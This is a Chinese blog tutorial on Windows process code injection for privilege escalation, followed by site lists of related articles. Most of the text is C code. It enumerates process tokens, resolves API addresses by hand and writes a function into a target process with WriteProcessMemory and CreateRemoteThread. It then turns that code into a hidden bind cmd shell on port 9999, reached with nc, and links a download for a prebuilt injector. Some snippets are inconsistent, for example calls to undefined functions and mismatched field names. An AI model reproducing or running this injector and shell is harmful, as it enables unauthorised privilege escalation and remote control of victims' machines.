如果将shellcode注入到具有特定权限的进程中,我们就可以获得与该进程相同的权限,此方法可以用于提权与降权操作,注入有多种方式,最简单的是直接将metasploit生成的有效载荷直接注入到目标进程中,并通过创建远程线程启动,还可以自己实现一个注入器,这里我们自己来实现一个提权器,可提权也可降权。

PE工具下载与使用: https://www.cnblogs.com/LyShark/p/12960816.html

枚举系统进程,与进程权限令牌等。

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <TlHelp32.h>
  4. // 通过进程Token获取进程权限类型
  5. void __stdcall EnumOwner(HANDLE htoken)
  6. {
  7. DWORD dwLen;
  8. PSID pSid = 0;
  9. TOKEN_USER *pWork;
  10. SID_NAME_USE use;
  11. TCHAR User[256], Domain[256];
  12. GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
  13. pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);
  14. if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen))
  15. {
  16. dwLen = GetLengthSid(pWork->User.Sid);
  17. pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);
  18. CopySid(dwLen, pSid, pWork->User.Sid);
  19. dwLen = 256;
  20. LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);
  21. printf("\t 权限类型 => %s : %s ", Domain, User);
  22. }
  23. }
  24. // 枚举系统中进程的令牌权限信息
  25. int enumprocess()
  26. {
  27. HANDLE SnapShot, ProcessHandle, hToken;
  28. PROCESSENTRY32 pe32;
  29. // 拍摄快照
  30. SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  31. pe32.dwSize = sizeof(PROCESSENTRY32);
  32. if (Process32First(SnapShot, &pe32) == FALSE)
  33. return 0;
  34. while (1)
  35. {
  36. if (Process32Next(SnapShot, &pe32) == FALSE)
  37. return 0;
  38. printf("PID => %6i \t 进程名 => %-20s \t 线程数 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);
  39. // 获取特定进程权限等
  40. ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);
  41. if (ProcessHandle != NULL)
  42. {
  43. if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken))
  44. {
  45. EnumOwner(hToken);
  46. CloseHandle(hToken);
  47. CloseHandle(ProcessHandle);
  48. }
  49. }
  50. printf("\n");
  51. }
  52. return 1;
  53. }
  54. int main(int argc, char * argv[])
  55. {
  56. ExtractProcessTokens();
  57. system("pause");
  58. return 0;
  59. }

枚举线程权限类型

  1. // 枚举特定进程中线程的Token值
  2. int enumtoken(DWORD dwPID)
  3. {
  4. HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
  5. THREADENTRY32 te32;
  6. if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE)
  7. {
  8. te32.dwSize = sizeof(THREADENTRY32);
  9. if (Thread32First(hThreadSnap, &te32))
  10. {
  11. do
  12. {
  13. HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);
  14. if (hThread != NULL)
  15. {
  16. HANDLE hToken;
  17. OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);
  18. EnumOwner(hToken);
  19. CloseHandle(hToken);
  20. }
  21. } while (Thread32Next(hThreadSnap, &te32));
  22. }
  23. }
  24. return TRUE;
  25. }

手工获取函数地址 第一步,手动获取到kernel32.dll地址,与GetProcaddress地址,然后就可以动态获取到任意函数的地址,先定义数据结构

  1. typedef struct _ShellBase
  2. {
  3. // 针对Kernel32的操作
  4. HANDLE KernelHandle;
  5. char kernelstring[20]; // kernel32.dll
  6. LOADLIBRARY KernelLoadLibrary;
  7. GETPROCADDRESS KernelGetProcAddress;
  8. // 针对User32的操作
  9. HANDLE UserHandle;
  10. char userstring[20]; // user32.dll
  11. }ShellParametros;

然后,主函数获取地址,并写入全局结构体。

  1. int main(int argc, char * argv[])
  2. {
  3. ShellParametros Param;
  4. // 得到加载基地址的工具函数
  5. Param.KernelHandle = LoadLibrary("kernel32.dll");
  6. Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
  7. Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
  8. printf("获取到Kernel32.dll = %x", Param.KernelHandle);
  9. // 分别获取Kernel32与User32的对应字符串
  10. strcpy(Param.kernelstring, "kernel32.dll");
  11. strcpy(Param.userstring, "user32.dll");
  12. system("pause");
  13. return 0;
  14. }

查询弹窗定义。

  1. WINUSERAPI
  2. int
  3. WINAPI
  4. MessageBoxA(
  5. _In_opt_ HWND hWnd,
  6. _In_opt_ LPCSTR lpText,
  7. _In_opt_ LPCSTR lpCaption,
  8. _In_ UINT uType);

头部声明

  1. // Kernel32 调用约定定义
  2. typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
  3. typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
  4. // User32调用约定定义
  5. typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

获取地址,并转为MESSAGEBOX指针。

  1. void __stdcall MyShell(ShellParametros *ptr)
  2. {
  3. ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  4. ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);
  5. printf("动态获取到Kernel32基地址 = %x \n", ptr->KernelHandle);
  6. printf("动态获取到User32基地址 = %x \n", ptr->UserHandle);
  7. MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  8. printf("%x \n", msgbox);
  9. msgbox(0, 0, 0, 0);
  10. }

调用

注入目标进程,需要获得字符串,该字符串要存储到内存中,修改.

  1. MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
  2. typedef struct _ShellBase
  3. {
  4. // 针对Kernel32的操作
  5. HANDLE KernelHandle;
  6. char kernelstring[20]; // kernel32.dll
  7. LOADLIBRARY KernelLoadLibrary;
  8. GETPROCADDRESS KernelGetProcAddress;
  9. // 针对User32的操作
  10. HANDLE UserHandle;
  11. char userstring[20]; // user32.dll
  12. char msgbox[20];
  13. }ShellParametros;
  14. MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

将代码注入到目标进程中,弹窗提示一下,开辟远程线程。

  1. int main(int argc, char * argv[])
  2. {
  3. ShellParametros Param, *remote = NULL;
  4. HANDLE hProcess;
  5. void *p = NULL;
  6. // 得到加载基地址的工具函数
  7. Param.Kernel32Base = LoadLibrary("kernel32.dll");
  8. Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
  9. Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
  10. // printf("获取到Kernel32.dll = %x", Param.KernelHandle);
  11. // 分别获取Kernel32与User32的对应字符串
  12. strcpy(Param.KernelString, "kernel32.dll");
  13. strcpy(Param.UserString, "user32.dll");
  14. strcpy(Param.User_MsgBox, "MessageBoxA");
  15. strcpy(Param.Text, "hello lyshark");
  16. // 根据PID注入代码到指定进程中
  17. hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);
  18. p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  19. remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
  20. WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
  21. WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
  22. CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);
  23. return 0;
  24. }

实现CMDShell 以下代码可实现正向cmdshell,我们将其改进一下,让其支持动态获取地址。

  1. #include <winsock2.h>
  2. #define Port 9999
  3. #pragma comment(lib,"ws2_32.lib")
  4. int main()
  5. {
  6. SOCKET sSocket, cSocket;
  7. STARTUPINFO si;
  8. PROCESS_INFORMATION pi;
  9. WSADATA wsaData;
  10. sockaddr_in sSockaddr;
  11. char szCmdPath[MAX_PATH];
  12. GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);
  13. WSAStartup(0x0202, &wsaData);
  14. cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  15. sSockaddr.sin_addr.s_addr = INADDR_ANY;
  16. sSockaddr.sin_family = AF_INET;
  17. sSockaddr.sin_port = htons(Port);
  18. bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));
  19. listen(cSocket, 1);
  20. int sLen = sizeof(sSockaddr);
  21. sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);
  22. si.cb = sizeof(si);
  23. si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  24. si.hStdInput = (HANDLE)sSocket;
  25. si.hStdOutput = (HANDLE)sSocket;
  26. si.hStdError = (HANDLE)sSocket;
  27. CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
  28. WaitForSingleObject(pi.hProcess, INFINITE);
  29. WSACleanup();
  30. return 0;
  31. }

依次验证常用函数所在动态链接库,就调用了2个库,好,我们继续写。

上方的代码就是一个正向CMDshell,我们将其写成自定位代码即可,首先定义需要用得到的指针。

  1. // 定义各种指针变量
  2. typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
  3. typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);
  4. typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
  5. typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
  6. typedef int (WINAPI *LISTEN) (SOCKET, int);
  7. typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
  8. typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
  9. typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
  10. typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,
  11. DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函数中向结构体中拷贝数据

  1. memset((void *)&parametros, 0, sizeof(PARAMETROS));
  2. strncpy(parametros.cmd, "cmd", 2);
  3. parametros.port = htons((unsigned short)9999);
  4. // 获取到动态链接库加载函数地址
  5. parametros.KernelHandle = LoadLibrary("kernel32.dll");
  6. parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
  7. parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
  8. // 拷贝 winsock 字符串
  9. strcpy(parametros.wsastring, "ws2_32.dll");
  10. strcpy(parametros.wsastartupstring, "WSAStartup");
  11. strcpy(parametros.WSASocketString, "WSASocketW");
  12. strcpy(parametros.WSAConnectstring, "WSAConnect");
  13. strcpy(parametros.bindstring, "bind");
  14. strcpy(parametros.acceptstring, "accept");
  15. strcpy(parametros.listenstring, "listen");
  16. // 拷贝 kernel32 字符串
  17. strcpy(parametros.kernelstring, "kernel32.dll");
  18. strcpy(parametros.CreateProcessstring, "CreateProcessA");

调用shell代码,代码先执行动态获取API地址,然后动态调用。

  1. // 调用的远程Shell代码
  2. void __stdcall MyShell(PARAMETROS *ptr)
  3. {
  4. // 通过GetProcAddress获取到ws2.dll中的所有函数地址
  5. ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
  6. ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
  7. ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
  8. ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
  9. ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
  10. ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
  11. ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
  12. // 通过GetProcAddress获取到kernel32.dll中的所有函数地址
  13. ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
  14. ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
  15. ptr->ShellWsaStartup(0x101, &HWSAdata);
  16. s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
  17. sa.sin_family = AF_INET;
  18. sa.sin_port = ptr->port;
  19. sa.sin_addr.s_addr = 0;
  20. ptr->ShellBind(s, (struct sockaddr *) &sa, 16);
  21. ptr->ShellListen(s, 1);
  22. while (1)
  23. {
  24. n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);
  25. si.cb = sizeof(si);
  26. si.wShowWindow = SW_HIDE;
  27. si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
  28. si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;
  29. si.lpDesktop = si.lpTitle = (char *)0x0000;
  30. si.lpReserved2 = NULL;
  31. ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
  32. }
  33. }

最后,主函数开辟远程线程,即可完成权限提升,下载地址中包括32与64两个版本,不同版本对应不同位数。

工具下载地址:https://www.blib.cn/soft/pexec.zip

首先使用注入器注入一个正在运行的进程,参数为PID

使用NC直接连接进去,即可获取到,与注入进程相同的权限,端口写死了9999

如果目标进程开启了,动态地址,ASLR,等则注入会失败,程序崩溃,这里需要注意一下。

C/C++ 进程代码注入与提权/降权的更多相关文章

  1. Windows下的代码注入

    木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,借用其他进程 ...

  2. C++代码注入

    一.C++代码注入原则: 在注入代码中不允许使用API. 在注入代码中不允许使用全局变量. 在注入代码中不允许使用字符串(编译时也被当做全局变量). 在注入代码中不允许使用函数嵌套. 二.注入代码编写 ...

  3. 代码注入——c++代码注入

    代码注入之——c++代码注入 0x00  代码注入和DLL注入的区别 DLL注入后DLL会通过线程常驻在某个process中,而代码注入完成之后立即消失. 代码注入体积小,不占内存 0x01  通过c ...

  4. dll注入与代码注入

    学习<逆向工程核心原理>,在x64下dll注入与代码注入. dll注入主要用到CreateRemoteThread, HANDLE WINAPI CreateRemoteThread( _ ...

  5. 转:EasyHook远程代码注入

    EasyHook远程代码注入 最近一段时间由于使用MinHook的API挂钩不稳定,经常因为挂钩地址错误而导致宿主进程崩溃.听同事介绍了一款智能强大的挂钩引擎EasyHook.它比微软的detours ...

  6. 使用ptrace向已运行进程中注入.so并执行相关函数

    这个总结的很好,从前一个项目也用到这中技术 转自:http://blog.csdn.net/myarrow/article/details/9630377 1. 简介 使用ptrace向已运行进程中注 ...

  7. 32位汇编第三讲,RadAsm,IDE的配置和使用,以及汇编代码注入方式

    32位汇编第三讲,RadAsm,IDE的配置和使用,以及汇编代码注入方式 一丶RadAsm的配置和使用 用了怎么长时间的命令行方式,我们发现了几个问题 1.没有代码提醒功能 2.编写代码很慢,记不住各 ...

  8. Wow64(32位进程)注入DLL到64位进程

    转载自: https://blog.poxiao.me/p/wow64-process-inject-dll-into-x64-process/ 向其他进程注入DLL通常的做法是通过调用CreateR ...

  9. 使用ptrace向已运行进程中注入.so并执行相关函数(转)

    1. 简介 使用ptrace向已运行进程中注入.so并执行相关函数,其中的“注入”二字的真正含义为:此.so被link到已运行进程(以下简称为:目标进程)空间中,从而.so中的函数在目标进程空间中有对 ...

随机推荐

  1. Vulnhub dc-4靶机通关

    Vulnhub dc-4靶机通关 下载地址:https://download.vulnhub.com/dc/DC-4.zip 安装好dc-4靶机 使用局域网查看器扫描到ip地址 端口扫描,发现运行了8 ...

  2. Linux速通02 命令格式

    命令的格式 # 格式:命令 [选项][参数] * 命令:告诉 Linux操作系统执行什么 * 选项:说明命令运行的方式(可以改变命令的功能).以 "-"字符开始 * 参数:说明命令 ...

  3. git配置,以及简单的命令

    在 window 平台需要安装对应的客户端 git 配置全局用户名git config --global user.name "xxx"配置全局邮箱git config --glo ...

  4. MySQL入门(6)——流程控制

    MySQL入门(6)--流程控制 IF语句 条件判断语句,逻辑与大多数编程语言相同,表示形式如下: IF condition THEN ... [ELSE condition THEN] ... [E ...

  5. wget 爬取网站网页

    相应的安装命名 yum -y install wget yum -y install setup yum -y install perl wget -r   -p -np -k -E  http:// ...

  6. Sentry-JS-SDK-Browser 官方示例最佳实践

    系列 SDK 开发 顶级开源项目 Sentry 20.x JS-SDK 设计艺术(理念与设计原则篇) 顶级开源项目 Sentry 20.x JS-SDK 设计艺术(开发基础篇) 顶级开源项目 Sent ...

  7. python中对类的方法中参数self的理解

    我们通过下面的代码来对参数self进行理解 #coding:utf-8 2 class washer(): 3 def wash(self): 4 print("洗衣服") 5 p ...

  8. 攻防世界 reverse crazy

    crazy 百越杯2018 查看main函数: int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v ...

  9. 图解双链表(Java实现)

    原创公众号:bigsai 文章已收录在 全网都在关注的数据结构与算法学习仓库 前言 前面有很详细的讲过线性表(顺序表和链表),当时讲的链表以但链表为主,但实际上在实际应用中双链表的应用多一些就比如Li ...

  10. 使用 Velero 跨云平台迁移集群资源到 TKE

    概述 Velero 是一个非常强大的开源工具,可以安全地备份和还原,执行灾难恢复以及迁移Kubernetes群集资源和持久卷,可以在 TKE 平台上使用 Velero 备份.还原和迁移集群资源,关于如 ...